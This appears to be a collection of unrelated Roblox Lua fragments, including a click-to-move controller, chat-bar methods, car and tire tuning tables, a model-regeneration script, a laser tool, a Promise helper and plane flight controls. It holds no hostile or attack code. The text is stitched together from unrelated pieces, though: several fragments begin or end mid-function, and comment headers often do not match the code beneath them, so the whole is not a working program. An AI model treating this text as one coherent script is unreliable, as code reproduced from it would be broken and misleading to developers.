nil and FingerTouches[input] == false then NumUnsunkTouches = NumUnsunkTouches - 1 end FingerTouches[input] = nil end local function OnCharacterAdded(character) DisconnectEvents() InputBeganConn = UIS.InputBegan:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchBegan(input, processed) -- Give back controls when they tap both sticks local wasInBottomLeft = IsInBottomLeft(input.Position) local wasInBottomRight = IsInBottomRight(input.Position) if wasInBottomRight or wasInBottomLeft then for otherInput, _ in pairs(FingerTouches) do if otherInput ~= input then local otherInputInLeft = IsInBottomLeft(otherInput.Position) local otherInputInRight = IsInBottomRight(otherInput.Position) if otherInput.UserInputState ~= Enum.UserInputState.End and ((wasInBottomLeft and otherInputInRight) or (wasInBottomRight and otherInputInLeft)) then if BindableEvent_OnFailStateChanged then BindableEvent_OnFailStateChanged:Fire(true) end return end end end end end -- Cancel path when you use the keyboard controls. if processed == false and input.UserInputType == Enum.UserInputType.Keyboard and movementKeys[input.KeyCode] then CleanupPath() end if input.UserInputType == Enum.UserInputType.MouseButton1 then mouse1Down = tick() mouse1DownPos = input.Position end if input.UserInputType == Enum.UserInputType.MouseButton2 then mouse2Down = tick() mouse2DownPos = input.Position end end) InputChangedConn = UIS.InputChanged:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchChanged(input, processed) end end) InputEndedConn = UIS.InputEnded:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchEnded(input, processed) end if input.UserInputType == Enum.UserInputType.MouseButton2 then mouse2Up = tick() local currPos = input.Position if mouse2Up - mouse2Down < 0.25 and (currPos - mouse2DownPos).magnitude < 5 then local positions = {currPos} OnTap(positions) end end end) TapConn = UIS.TouchTap:connect(function(touchPositions, processed) if not processed then OnTap(touchPositions) end end) if not UIS.TouchEnabled then -- PC if AutoJumperInstance then AutoJumperInstance:Stop() AutoJumperInstance = nil end AutoJumperInstance = AutoJumper() end local function Update() if CameraModule then if CameraModule.UserPanningTheCamera then CameraModule.UpdateTweenFunction = nil else if CameraModule.UpdateTweenFunction then local done = CameraModule.UpdateTweenFunction() if done then CameraModule.UpdateTweenFunction = nil end end end CameraModule:Update() end end local success = pcall(function() RunService:BindToRenderStep("ClickToMoveRenderUpdate",Enum.RenderPriority.Camera.Value - 1,Update) end) if not success then if RenderSteppedConn then RenderSteppedConn:disconnect() end RenderSteppedConn = RunService.RenderStepped:connect(Update) end local function OnCharacterChildAdded(child) if UIS.TouchEnabled then if child:IsA('Tool') then child.ManualActivationOnly = true end end if child:IsA('Humanoid') then disconnectEvent(HumanoidDiedConn) HumanoidDiedConn = child.Died:connect(function() DebrisService:AddItem(ExistingIndicator, 1) if AutoJumperInstance then AutoJumperInstance:Stop() AutoJumperInstance = nil end end) end end CharacterChildAddedConn = character.ChildAdded:connect(function(child) OnCharacterChildAdded(child) end) CharacterChildRemovedConn = character.ChildRemoved:connect(function(child) if UIS.TouchEnabled then if child:IsA('Tool') then child.ManualActivationOnly = false end end end) for _, child in pairs(character:GetChildren()) do OnCharacterChildAdded(child) end end local Running = false function this:Stop() if Running then DisconnectEvents() CleanupPath() if AutoJumperInstance then AutoJumperInstance:Stop() AutoJumperInstance = nil end if CameraModule then CameraModule.UpdateTweenFunction = nil CameraModule:SetEnabled(false) end -- Restore tool activation on shutdown if UIS.TouchEnabled then local character = Player.Character if character then for _, child in pairs(character:GetChildren()) do if child:IsA('Tool') then child.ManualActivationOnly = false end end end end Running = false end end function this:Start() if not Running then if Player.Character then -- retro-listen OnCharacterAdded(Player.Character) end OnCharacterAddedConn = Player.CharacterAdded:connect(OnCharacterAdded) if CameraModule then CameraModule:SetEnabled(true) end Running = true end end return this end return CreateClickToMoveModule
--/////////////////////////////////////////////////////////--
local curSize local create local Expand local doHide local doClose local dragSize local isVisible local DoRefresh local getNextPos local wallPosition local setPosition local checkMouse local isInFrame local setSize local apiIfy client = nil cPcall = nil Pcall = nil Routine = nil service = nil GetEnv = nil local function isGui(child) return child:IsA("GuiObject"); end
--//Toggle//--
Button.MouseButton1Click:Connect(function() if SettingsMenu.Visible == false then SettingsMenu.Visible = true else SettingsMenu.Visible = false end end)
---Place this INSIDE the model. Don't replace the model name or anything. ------------------------------------------------------------------------------------------
object = script.Parent if (object ~= nil) and (object ~= game.Workspace) then model = object messageText = "regenerating " .. model.Name .. "" message = Instance.new("Message") message.Text = messageText backup = model:clone() -- Make the backup waitTime = 1740 --Time to wait between regenerations wait(math.random(0, waitTime)) while true do wait(waitTime) -- Regen wait time message.Parent = game.Workspace model:remove() wait(2.5) -- Display regen message for this amount of time model = backup:clone() model.Parent = game.Workspace model:makeJoints() message.Parent = nil end end
-- Deprecated in favour of GetMessageModeTextButton -- Retained for compatibility reasons.
function methods:GetMessageModeTextLabel() return self:GetMessageModeTextButton() end function methods:IsFocused() if self.UserHasChatOff then return false end return self:GetTextBox():IsFocused() end function methods:GetVisible() return self.GuiObject.Visible end function methods:CaptureFocus() if not self.UserHasChatOff then self:GetTextBox():CaptureFocus() end end function methods:ReleaseFocus(didRelease) self:GetTextBox():ReleaseFocus(didRelease) end function methods:ResetText() self:GetTextBox().Text = "" end function methods:SetText(text) self:GetTextBox().Text = text end function methods:GetEnabled() return self.GuiObject.Visible end function methods:SetEnabled(enabled) if self.UserHasChatOff then -- The chat bar can not be removed if a user has chat turned off so that -- the chat bar can display a message explaining that chat is turned off. self.GuiObject.Visible = true else self.GuiObject.Visible = enabled end end function methods:SetTextLabelText(text) if not self.UserHasChatOff then self.TextLabel.Text = text end end function methods:SetTextBoxText(text) self.TextBox.Text = text end function methods:GetTextBoxText() return self.TextBox.Text end function methods:ResetSize() self.TargetYSize = 0 self:TweenToTargetYSize() end function methods:CalculateSize() if self.CalculatingSizeLock then return end self.CalculatingSizeLock = true local lastPos = self.GuiObject.Size self.GuiObject.Size = UDim2.new(1, 0, 0, 1000) local textSize = nil local bounds = nil if self:IsFocused() or self.TextBox.Text ~= "" then textSize = self.TextBox.textSize bounds = self.TextBox.TextBounds.Y else textSize = self.TextLabel.textSize bounds = self.TextLabel.TextBounds.Y end self.GuiObject.Size = lastPos local newTargetYSize = bounds - textSize if (self.TargetYSize ~= newTargetYSize) then self.TargetYSize = newTargetYSize self:TweenToTargetYSize() end self.CalculatingSizeLock = false end function methods:TweenToTargetYSize() local endSize = UDim2.new(1, 0, 1, self.TargetYSize) local curSize = self.GuiObject.Size local curAbsoluteSizeY = self.GuiObject.AbsoluteSize.Y self.GuiObject.Size = endSize local endAbsoluteSizeY = self.GuiObject.AbsoluteSize.Y self.GuiObject.Size = curSize local pixelDistance = math.abs(endAbsoluteSizeY - curAbsoluteSizeY) local tweeningTime = math.min(1, (pixelDistance * (1 / self.TweenPixelsPerSecond))) -- pixelDistance * (seconds per pixels) local success = pcall(function() self.GuiObject:TweenSize(endSize, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweeningTime, true) end) if (not success) then self.GuiObject.Size = endSize end end function methods:SetTextSize(textSize) if not self:IsInCustomState() then if self.TextBox then self.TextBox.TextSize = textSize end if self.TextLabel then self.TextLabel.TextSize = textSize end end end function methods:GetDefaultChannelNameColor() if ChatSettings.DefaultChannelNameColor then return ChatSettings.DefaultChannelNameColor end return Color3.fromRGB(35, 76, 142) end function methods:SetChannelTarget(targetChannel) local messageModeTextButton = self.GuiObjects.MessageModeTextButton local textBox = self.TextBox local textLabel = self.TextLabel self.TargetChannel = targetChannel if not self:IsInCustomState() then if targetChannel ~= ChatSettings.GeneralChannelName then messageModeTextButton.Size = UDim2.new(0, 1000, 1, 0) messageModeTextButton.Text = string.format("[%s] ", targetChannel) local channelNameColor = self:GetChannelNameColor(targetChannel) if channelNameColor then messageModeTextButton.TextColor3 = channelNameColor else messageModeTextButton.TextColor3 = self:GetDefaultChannelNameColor() end local xSize = messageModeTextButton.TextBounds.X messageModeTextButton.Size = UDim2.new(0, xSize, 1, 0) textBox.Size = UDim2.new(1, -xSize, 1, 0) textBox.Position = UDim2.new(0, xSize, 0, 0) textLabel.Size = UDim2.new(1, -xSize, 1, 0) textLabel.Position = UDim2.new(0, xSize, 0, 0) else messageModeTextButton.Text = "" messageModeTextButton.Size = UDim2.new(0, 0, 0, 0) textBox.Size = UDim2.new(1, 0, 1, 0) textBox.Position = UDim2.new(0, 0, 0, 0) textLabel.Size = UDim2.new(1, 0, 1, 0) textLabel.Position = UDim2.new(0, 0, 0, 0) end end end function methods:IsInCustomState() return self.InCustomState end function methods:ResetCustomState() if self.InCustomState then self.CustomState:Destroy() self.CustomState = nil self.InCustomState = false self.ChatBarParentFrame:ClearAllChildren() self:CreateGuiObjects(self.ChatBarParentFrame) self:SetTextLabelText( ChatLocalization:Get( "GameChat_ChatMain_ChatBarText", 'To chat click here or press "/" key' ) ) end end function methods:GetCustomMessage() if self.InCustomState then return self.CustomState:GetMessage() end return nil end function methods:CustomStateProcessCompletedMessage(message) if self.InCustomState then return self.CustomState:ProcessCompletedMessage() end return false end function methods:FadeOutBackground(duration) self.AnimParams.Background_TargetTransparency = 1 self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) self:FadeOutText(duration) end function methods:FadeInBackground(duration) self.AnimParams.Background_TargetTransparency = 0.6 self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) self:FadeInText(duration) end function methods:FadeOutText(duration) self.AnimParams.Text_TargetTransparency = 1 self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) end function methods:FadeInText(duration) self.AnimParams.Text_TargetTransparency = 0.4 self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) end function methods:AnimGuiObjects() self.GuiObject.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency self.GuiObjects.TextBoxFrame.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency self.GuiObjects.TextLabel.TextTransparency = self.AnimParams.Text_CurrentTransparency self.GuiObjects.TextBox.TextTransparency = self.AnimParams.Text_CurrentTransparency self.GuiObjects.MessageModeTextButton.TextTransparency = self.AnimParams.Text_CurrentTransparency end function methods:InitializeAnimParams() self.AnimParams.Text_TargetTransparency = 0.4 self.AnimParams.Text_CurrentTransparency = 0.4 self.AnimParams.Text_NormalizedExptValue = 1 self.AnimParams.Background_TargetTransparency = 0.6 self.AnimParams.Background_CurrentTransparency = 0.6 self.AnimParams.Background_NormalizedExptValue = 1 end function methods:Update(dtScale) self.AnimParams.Text_CurrentTransparency = CurveUtil:Expt( self.AnimParams.Text_CurrentTransparency, self.AnimParams.Text_TargetTransparency, self.AnimParams.Text_NormalizedExptValue, dtScale ) self.AnimParams.Background_CurrentTransparency = CurveUtil:Expt( self.AnimParams.Background_CurrentTransparency, self.AnimParams.Background_TargetTransparency, self.AnimParams.Background_NormalizedExptValue, dtScale ) self:AnimGuiObjects() end function methods:SetChannelNameColor(channelName, channelNameColor) self.ChannelNameColors[channelName] = channelNameColor if self.GuiObjects.MessageModeTextButton.Text == channelName then self.GuiObjects.MessageModeTextButton.TextColor3 = channelNameColor end end function methods:GetChannelNameColor(channelName) return self.ChannelNameColors[channelName] end
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
-- Mapping from movement mode and lastInputType enum values to control modules to avoid huge if elseif switching
local movementEnumToModuleMap = { [Enum.TouchMovementMode.DPad] = TouchDPad, -- Map to DT [Enum.DevTouchMovementMode.DPad] = TouchDPad, -- Map to DT [Enum.TouchMovementMode.Thumbpad] = TouchThumbpad, -- Map to DT [Enum.DevTouchMovementMode.Thumbpad] = TouchThumbpad, -- Map to DT [Enum.TouchMovementMode.Thumbstick] = TouchThumbstick, -- Map to DT [Enum.DevTouchMovementMode.Thumbstick] = TouchThumbstick, -- Map to DT [Enum.TouchMovementMode.DynamicThumbstick] = DynamicThumbstick, [Enum.DevTouchMovementMode.DynamicThumbstick] = DynamicThumbstick, [Enum.TouchMovementMode.ClickToMove] = ClickToMove, [Enum.DevTouchMovementMode.ClickToMove] = ClickToMove, -- Current default [Enum.TouchMovementMode.Default] = DynamicThumbstick, [Enum.ComputerMovementMode.Default] = Keyboard, [Enum.ComputerMovementMode.KeyboardMouse] = Keyboard, [Enum.DevComputerMovementMode.KeyboardMouse] = Keyboard, [Enum.DevComputerMovementMode.Scriptable] = nil, [Enum.ComputerMovementMode.ClickToMove] = ClickToMove, [Enum.DevComputerMovementMode.ClickToMove] = ClickToMove, }
--[Lokalizacje] --[Góra]
g1 = script.Parent.Parent.gura1 legansio = true g2 = script.Parent.Parent.gura2 legansio = true g3 = script.Parent.Parent.gura3 legansio = true g4 = script.Parent.Parent.gura4 legansio = true g5 = script.Parent.Parent.gura5 legansio = true g6 = script.Parent.Parent.gura6 legansio = true g7 = script.Parent.Parent.gura7 legansio = true g8 = script.Parent.Parent.gura8 legansio = true g9 = script.Parent.Parent.gura9 legansio = true g10 = script.Parent.Parent.gura10 legansio = true g11 = script.Parent.Parent.gura11 legansio = true g12 = script.Parent.Parent.gura12 legansio = true g13 = script.Parent.Parent.gura13 legansio = true g14 = script.Parent.Parent.gura14 legansio = true s1 = script.Parent.Parent.s1 legansio = true q1 = script.Parent.Parent.q1 legansio = true
--Tune
local _Select = "AllSeason" --(AllSeason, Slicks, SemiSlicks, AllTerrain, DragRadials, Custom) Caps and space sensitive local _Custom = { TireWearOn = true , --Friction and Wear FWearSpeed = .2 , --How fast your tires will degrade (Front) FTargetFriction = 1 , --Friction in optimal conditions (Front) FMinFriction = 0.45 , --Friction in worst conditions (Front) RWearSpeed = .2 , --How fast your tires will degrade (Rear) RTargetFriction = 1.2 , --Friction in optimal conditions (Rear) RMinFriction = 0.60 , --Friction in worst conditions (Rear) --Tire Slip TCSOffRatio = 1 , --How much optimal grip your car will lose with TCS off, set to 1 if you dont want any losses. WheelLockRatio = 1/6 , --How much grip your car will lose when locking the wheels WheelspinRatio = 1/1.2 , --How much grip your car will lose when spinning the wheels --Wheel Properties FFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front) (PGS) RFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear) (PGS) FLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front) RLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear) FElasticity = 0 , --How much your wheel will bounce (Front) (PGS) RElasticity = 0 , --How much your wheel will bounce (Rear) (PGS) FLgcyElasticity = 0 , --How much your wheel will bounce (Front) RLgcyElasticity = 0 , --How much your wheel will bounce (Rear) FElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front) (PGS) RElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear) (PGS) FLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front) RLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear) --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _AllSeason = { TireWearOn = true , --Friction and Wear FWearSpeed = .2 , --Don't change this FTargetFriction = .6 , -- .58 to .63 FMinFriction = 0.35 , --Don't change this RWearSpeed = .2 , --Don't change this RTargetFriction = .6 , -- .58 to .63 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 2 , --Don't change this RFrictionWeight = 2 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _Slicks = { TireWearOn = true , --Friction and Wear FWearSpeed = .6 , --Don't change this FTargetFriction = .93 , -- .88 to .93 FMinFriction = 0.35 , --Don't change this RWearSpeed = .6 , --Don't change this RTargetFriction = .93 , -- .88 to .93 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 0.6 , --Don't change this RFrictionWeight = 0.6 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _SemiSlicks = { TireWearOn = true , --Friction and Wear FWearSpeed = .5 , --Don't change this FTargetFriction = .78 , -- .73 to .78 FMinFriction = 0.35 , --Don't change this RWearSpeed = .5 , --Don't change this RTargetFriction = .78 , -- .73 to .78 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 0.6 , --Don't change this RFrictionWeight = 0.6 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _AllTerrain = { TireWearOn = true , --Friction and Wear FWearSpeed = .3 , --Don't change this FTargetFriction = .5 , -- .48 to .53 FMinFriction = 0.35 , --Don't change this RWearSpeed = .3 , --Don't change this RTargetFriction = .5 , -- .48 to .53 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 10 , --Don't change this RFrictionWeight = 10 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _DragRadials = { TireWearOn = true , --Friction and Wear FWearSpeed = 30 , --Don't change this FTargetFriction = 1.2 , -- 1.18 to 1.23 FMinFriction = 0.35 , --Don't change this RWearSpeed = 30 , --Don't change this RTargetFriction = 1.2 , -- 1.18 to 1.23 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 1 , --Don't change this RFrictionWeight = 1 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 20 , --Don't change this } local car = script.Parent.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local cValues = script.Parent.Parent:WaitForChild("Values") local _WHEELTUNE = _AllSeason if _Select == "DragRadials" then _WHEELTUNE = _DragRadials elseif _Select == "Custom" then _WHEELTUNE = _Custom elseif _Select == "AllTerrain" then _WHEELTUNE = _AllTerrain elseif _Select == "Slicks" then _WHEELTUNE = _Slicks elseif _Select == "SemiSlicks" then _WHEELTUNE = _SemiSlicks else _WHEELTUNE = _AllSeason end car.DriveSeat.TireStats.Fwear.Value = _WHEELTUNE.FWearSpeed car.DriveSeat.TireStats.Ffriction.Value = _WHEELTUNE.FTargetFriction car.DriveSeat.TireStats.Fminfriction.Value = _WHEELTUNE.FMinFriction car.DriveSeat.TireStats.Ffweight.Value = _WHEELTUNE.FFrictionWeight car.DriveSeat.TireStats.Rwear.Value = _WHEELTUNE.RWearSpeed car.DriveSeat.TireStats.Rfriction.Value = _WHEELTUNE.RTargetFriction car.DriveSeat.TireStats.Rminfriction.Value = _WHEELTUNE.RMinFriction car.DriveSeat.TireStats.Rfweight.Value = _WHEELTUNE.RFrictionWeight car.DriveSeat.TireStats.TCS.Value = _WHEELTUNE.TCSOffRatio car.DriveSeat.TireStats.Lock.Value = _WHEELTUNE.WheelLockRatio car.DriveSeat.TireStats.Spin.Value = _WHEELTUNE.WheelspinRatio car.DriveSeat.TireStats.Reg.Value = _WHEELTUNE.RegenSpeed
--if u wanna add more lights make sure to use the same script format u see below --ex. (if script.Parent.Lights.(light).(partname).Material == Enum.Material.Neon then etc...)
while true do wait() if script.Parent.Parent.Lights.FB.Light.enabled == true then script.Parent.Material = Enum.Material.Neon else script.Parent.Material = Enum.Material.SmoothPlastic end end
-- print("Keyframe : ".. FrameName)
local RepeatAnim = StopAllAnimations() local AnimSpeed = CurrentAnimSpeed PlayAnimation(RepeatAnim, 0, Humanoid) SetAnimationSpeed(AnimSpeed) end end
--fetching effectlib
local common_modules = game.ReplicatedStorage.CommonModules EFFECT_LIB = require(common_modules.EffectLib)
--Robux
bux1.MouseEnter:connect(function() bux1.BorderColor3 = Color3.new(200/255,0,0) end) bux1.MouseLeave:connect(function() bux1.BorderColor3 = Color3.new(0,0,0) end) bux2.MouseEnter:connect(function() bux2.BorderColor3 = Color3.new(200/255,0,0) end) bux2.MouseLeave:connect(function() bux2.BorderColor3 = Color3.new(0,0,0) end) bux3.MouseEnter:connect(function() bux3.BorderColor3 = Color3.new(200/255,0,0) end) bux3.MouseLeave:connect(function() bux3.BorderColor3 = Color3.new(0,0,0) end)
--bp.Position = shelly.PrimaryPart.Position
if not shellyGood then bp.Parent,bg.Parent= nil,nil return end bp.Parent = nil wait(math.random(3,8)) end local soundBank = game.ServerStorage.Sounds.NPC.Shelly:GetChildren() shelly.Health.Changed:connect(function() if shellyGood then bp.Parent,bg.Parent= nil,nil shelly.PrimaryPart.Transparency =1 shelly.PrimaryPart.CanCollide = false shelly.Shell.Transparency = 1 shelly.HitShell.Transparency = 0 shelly.HitShell.CanCollide = true shellyGood = false ostrich = tick() shelly:SetPrimaryPartCFrame(shelly.PrimaryPart.CFrame*CFrame.new(0,2,0)) local hitSound = soundBank[math.random(1,#soundBank)]:Clone() hitSound.PlayOnRemove = true hitSound.Parent = shelly.PrimaryPart wait() hitSound:Destroy() repeat task.wait() until tick()-ostrich > 10 shelly.PrimaryPart.Transparency = 0 shelly.PrimaryPart.CanCollide = true shelly.Shell.Transparency = 0 shelly.HitShell.Transparency = 1 shelly.HitShell.CanCollide = false bp.Parent,bg.Parent = shelly.PrimaryPart,shelly.PrimaryPart shellyGood = true end end) while true do if shellyGood then MoveShelly() else task.wait(1) end end
--[[Running Logic]]
-- local equipped = false local rayparts = {} local ColorChoices = {BrickColor.new('Really red'),BrickColor.new('Lime green'),BrickColor.new('Toothpaste')} local StartOffset = {Vector3.new(-.45,0,0),Vector3.new(0,0,0),Vector3.new(.45,0,0)} local oldC0 =nil local nweld local EffectFunctions = { function(hum,dir) hum:TakeDamage(1) end, function(hum,dir) hum:TakeDamage(-1) end, function(hum,dir) if hum.Torso then local nforce = Instance.new('BodyForce') nforce.force = dir*3000 nforce.Parent = hum.Torso hum.Sit = true game.Debris:AddItem(nforce,.2) Delay(.2,function() hum.Sit = false end) end end } Tool.Equipped:connect(function(mouse) --game.Players.LocalPlayer:GetMouse() Spawn(function() local colorChoice = 1 if not Tool.Parent:FindFirstChild('Torso') or not Tool.Parent.Torso:FindFirstChild('Right Shoulder') or not Tool.Parent:FindFirstChild('Humanoid') then return end LazerSound:Play() nweld = Tool.Parent.Torso['Right Shoulder'] oldC0 = nweld.C0 nweld.CurrentAngle = 0 nweld.DesiredAngle = 0 nweld.MaxVelocity = 0 mouse.Button1Down:connect(function() colorChoice=colorChoice+1 if colorChoice>#ColorChoices then colorChoice =1 end LazerSound.Pitch = .75+((colorChoice*.25)*3) end) equipped = true while equipped and Tool.Parent:FindFirstChild('Torso') do local tframe = Tool.Parent.Torso.CFrame tframe = tframe + tframe:vectorToWorldSpace(Vector3.new(1, 0.5, 0)) local taim = mouse.Hit.p -( tframe.p ) nweld.C0 = (CFrame.new(Vector3.new(),tframe:vectorToObjectSpace(taim))*CFrame.Angles(0,math.pi/2,0))+Vector3.new( 1, 0.5, 0 ) rayparts = CastLightRay(Handle.CFrame.p+Handle.CFrame:vectorToWorldSpace(StartOffset[colorChoice]),mouse.Hit.p,ColorChoices[colorChoice], 5, .2,rayparts, EffectFunctions[colorChoice]) LazerSound.Volume = ((math.sin(tick()*3)+1)*.25)+.25 wait() end nweld.C0 =oldC0 LazerSound:Stop() end) end) Tool.Unequipped:connect(function(mouse) equipped= false LazerSound:Stop() for i=1,50,1 do if rayparts[i] then rayparts[i]:Destroy() rayparts[i]=nil end end if nweld then nweld.MaxVelocity =.15 nweld.C0 =oldC0 end end)
-- Continuously update the TextLabel
while true do updateTextLabel() wait(1) -- Adjust the wait time as needed end
--[=[ Similar to [Promise.andThen](#andThen), except the return value is the same as the value passed to the handler. In other words, you can insert a `:tap` into a Promise chain without affecting the value that downstream Promises receive. ```lua getTheValue() :tap(print) :andThen(function(theValue) print("Got", theValue, "even though print returns nil!") end) ``` If you return a Promise from the tap handler callback, its value will be discarded but `tap` will still wait until it resolves before passing the original value through. @param tapHandler (...: any) -> ...any @return Promise<...any> ]=]
function Promise.prototype:tap(tapCallback) assert(type(tapCallback) == "function", string.format(ERROR_NON_FUNCTION, "Promise:tap")) return self:_andThen(debug.traceback(nil, 2), function(...) local callbackReturn = tapCallback(...) if Promise.is(callbackReturn) then local length, values = pack(...) return callbackReturn:andThen(function() return unpack(values, 1, length) end) end return ... end) end
--local Service = require(script.Parent)
local currentTestingService = nil function this.new() if not currentTestingService then local self = {}--Service.new() -- change this to "local self = {}" Nvm I did it for you setmetatable(self,this) return self end return currentTestingService -- return cached TestingService end function this:GetEnvironment() local Environment = "Release" if game:GetService("RunService"):IsStudio() then Environment = "Debug" end return Environment end function this:GetFlags() return script.Flags[self:GetEnvironment()]:GetChildren() end function this:GetEnabledFlags() -- returns flags that are turned on for the environment local EnabledFlags = {} for i,v in pairs(self:GetFlags()) do if v.Value == true then EnabledFlags[v.Name] = true -- For example -> if EnabledFlags["SecretFeature1"] then ... end end return EnabledFlags end function this:GetDisabledFlags() -- returns flags that are turned off for the environment local DisabledFlags = {} for i,v in pairs(self:GetFlags()) do if v.Value == false then DisabledFlags[v.Name] = true -- For example -> if DisabledFlags["SecretFeature1"] then ... end end return DisabledFlags end function this:IsFlagEnabled(FlagName) -- it's not exactly efficient and direct referencing -- would be faster, but we're trying to prevent errors here! -- FindFirstChild would be more efficient and scan quicker but it really doesn't make that much of a difference here -- I don't expect anybody to be calling this function frame by frame. Just cache the result ¯\_(ツ)_/¯ local EnabledFlags = self:GetEnabledFlags() if EnabledFlags[FlagName] then return true end return false end return this
-- local throttleNeeded =
local stallLine = ((stallSpeed/math.floor(currentSpeed+0.5))*(stallSpeed/max)) stallLine = (stallLine > 1 and 1 or stallLine) panel.Throttle.Bar.StallLine.Position = UDim2.new(stallLine,0,0,0) panel.Throttle.Bar.StallLine.BackgroundColor3 = (stallLine > panel.Throttle.Bar.Amount.Size.X.Scale and Color3.new(1,0,0) or Color3.new(0,0,0)) if (change == 1) then currentSpeed = (currentSpeed > desiredSpeed and desiredSpeed or currentSpeed) -- Reduce "glitchy" speed else currentSpeed = (currentSpeed < desiredSpeed and desiredSpeed or currentSpeed) end local tax,stl = taxi(),stall() if ((lastStall) and (not stl) and (not tax)) then -- Recovering from a stall: if ((realSpeed > -10000) and (realSpeed < 10000)) then currentSpeed = realSpeed else currentSpeed = (stallSpeed+1) end end lastStall = stl move.velocity = (main.CFrame.lookVector*currentSpeed) -- Set speed to aircraft local bank = ((((m.ViewSizeX/2)-m.X)/(m.ViewSizeX/2))*maxBank) -- My special equation to calculate the banking of the plane. It's pretty simple actually bank = (bank < -maxBank and -maxBank or bank > maxBank and maxBank or bank) if (tax) then if (currentSpeed < 2) then -- Stop plane from moving/turning when idled on ground move.maxForce = Vector3.new(0,0,0) gyro.maxTorque = Vector3.new(0,0,0) else move.maxForce = Vector3.new(math.huge,0,math.huge) -- Taxi gyro.maxTorque = Vector3.new(0,math.huge,0) gyro.cframe = CFrame.new(main.Position,m.Hit.p) end elseif (stl) then move.maxForce = Vector3.new(0,0,0) -- Stall gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge) gyro.cframe = (m.Hit*CFrame.Angles(0,0,math.rad(bank))) else 